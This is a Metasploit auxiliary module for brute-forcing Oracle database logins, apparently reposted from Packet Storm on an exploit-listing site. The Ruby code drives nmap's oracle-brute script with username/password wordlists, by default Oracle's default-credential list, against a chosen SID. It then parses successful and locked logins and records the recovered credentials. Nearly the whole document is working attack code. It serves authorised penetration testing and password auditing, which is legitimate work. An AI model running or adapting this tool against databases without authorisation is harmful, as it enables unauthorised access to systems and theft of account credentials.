Share
## https://sploitus.com/exploit?id=PACKETSTORM:180766
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Nmap  
include Msf::Auxiliary::AuthBrute  
include Msf::Auxiliary::Scanner  
  
# Creates an instance of this module.  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Oracle RDBMS Login Utility',  
'Description' => %q{  
This module attempts to authenticate against an Oracle RDBMS  
instance using username and password combinations indicated  
by the USER_FILE, PASS_FILE, and USERPASS_FILE options.  
  
Due to a bug in nmap versions 6.50-7.80 may not work.  
},  
'Author' => [  
'Patrik Karlsson <patrik[at]cqure.net>', # the nmap NSE script, oracle-brute.nse  
'todb' # this Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'URL', 'https://www.oracle.com/database/' ],  
[ 'CVE', '1999-0502'], # Weak password CVE  
[ 'URL', 'https://nmap.org/nsedoc/scripts/oracle-brute.html']  
]  
))  
  
register_options(  
[  
OptPath.new('USERPASS_FILE', [ false, "File containing (space-separated) users and passwords, one pair per line",  
File.join(Msf::Config.data_directory, "wordlists", "oracle_default_userpass.txt") ]),  
OptString.new('SID', [ true, 'The instance (SID) to authenticate against', 'XE'])  
])  
  
end  
  
def minimum_nmap_version  
"5.50"  
end  
  
def run  
unless nmap_version_at_least? minimum_nmap_version  
print_error "Installed Nmap version is not at least #{minimum_nmap_version}. Exiting..."  
return false  
end  
print_status "Nmap: Setting up credential file..."  
credfile = create_credfile  
cred_count = 0  
each_user_pass(true) {|user, pass| credfile[0].puts "%s/%s" % [user,pass]; cred_count += 1 }  
credfile[0].flush  
nmap_build_args(credfile[1])  
print_status "Nmap: Starting Oracle bruteforce with #{cred_count} credentials against SID '#{sid}'..."  
nmap_run  
credfile[0].unlink  
if Rex::Parser.nokogiri_loaded  
nmap_hosts {|type,data| process_nokogiri_callback(type,data)}  
else  
nmap_hosts {|host| process_host(host)}  
end  
end  
  
def sid  
datastore['SID'].to_s  
end  
  
def nmap_build_args(credpath)  
nmap_reset_args  
nmap_append_arg "-P0"  
nmap_append_arg "--script oracle-brute"  
script_args = [  
"tns.sid=#{sid}",  
"brute.mode=creds",  
"brute.credfile=#{credpath}",  
"brute.threads=1"  
]  
script_args << "brute.delay=#{set_brute_delay}"  
nmap_append_arg "--script-args \"#{script_args.join(",")}\""  
nmap_append_arg "-n"  
nmap_append_arg "-v" if datastore['VERBOSE']  
end  
  
# Sometimes with weak little 10g XE databases, you will exhaust  
# available processes from the pool with lots and lots of  
# auth attempts, so use bruteforce_speed to slow things down  
def set_brute_delay  
case datastore["BRUTEFORCE_SPEED"]  
when 4; 0.25  
when 3; 0.5  
when 2; 1  
when 1; 15  
when 0; 60 * 5  
else; 0  
end  
end  
  
def create_credfile  
outfile = Rex::Quickfile.new("msf3-ora-creds-")  
if Rex::Compat.is_cygwin and self.nmap_bin =~ /cygdrive/i  
outfile_path = Rex::Compat.cygwin_to_win32(outfile.path)  
else  
outfile_path = outfile.path  
end  
@credfile = [outfile,outfile_path]  
end  
  
def process_nokogiri_callback(type,data)  
return unless type == :port_script  
return unless data["id"] == "oracle-brute"  
return unless data[:addresses].has_key? "ipv4"  
return unless data[:port]["state"] == ::Msf::ServiceState::Open  
addr = data[:addresses]["ipv4"].to_s  
port = data[:port]["portid"].to_i  
output = data["output"]  
parse_script_output(addr,port,output)  
end  
  
def process_host(h)  
h["ports"].each do |p|  
next if(h["scripts"].nil? || h["scripts"].empty?)  
h["scripts"].each do |id,output|  
next unless id == "oracle-brute"  
parse_script_output(h["addr"],p["portid"],output)  
end  
end  
end  
  
def extract_creds(str)  
m = str.match(/\s+([^\s]+):([^\s]+) =>/)  
m[1,2]  
end  
  
def report_cred(opts)  
service_data = {  
address: opts[:ip],  
port: opts[:port],  
service_name: opts[:service_name],  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: opts[:user],  
private_data: opts[:password],  
private_type: :password  
}.merge(service_data)  
  
login_data = {  
core: create_credential(credential_data),  
status: opts[:status],  
proof: opts[:proof]  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
def parse_script_output(addr,port,output)  
msg = "#{addr}:#{port} - Oracle -"  
@oracle_reported = false  
if output =~ /TNS: The listener could not resolve \x22/n  
print_error "#{msg} Invalid SID: #{sid}"  
elsif output =~ /Accounts[\s]+No valid accounts found/nm  
print_status "#{msg} No valid accounts found"  
else  
output.each_line do |oline|  
if oline =~ /Login correct/  
if not @oracle_reported  
report_service(:host => addr, :port => port, :proto => "tcp", :name => "oracle")  
report_note(:host => addr, :port => port, :proto => "tcp", :type => "oracle.sid", :data => sid, :update => :unique_data)  
@oracle_reported = true  
end  
user,pass = extract_creds(oline)  
pass = "" if pass == "<empty>"  
print_good "#{msg} Success: #{user}:#{pass} (SID: #{sid})"  
report_cred(  
ip: addr,  
port: port,  
user: "#{sid}/#{user}",  
password: pass,  
service_name: 'tcp',  
status: Metasploit::Model::Login::Status::SUCCESSFUL  
)  
elsif oline =~ /Account locked/  
if not @oracle_reported  
report_service(:host => addr, :port => port, :proto => "tcp", :name => "oracle")  
report_note(:host => addr, :port => port, :proto => "tcp", :type => "oracle.sid", :data => sid, :update => :unique_data)  
@oracle_reported = true  
end  
user = extract_creds(oline)[0]  
print_good "#{msg} Locked: #{user} (SID: #{sid}) -- account valid but locked"  
report_cred(  
ip: addr,  
port: port,  
user: "#{sid}/#{user}",  
service_name: 'tcp',  
status: Metasploit::Model::Login::Status::DENIED_ACCESS  
)  
elsif oline =~ /^\s+ERROR: (.*)/  
print_error "#{msg} NSE script error: #{$1}"  
end  
end  
end  
end  
end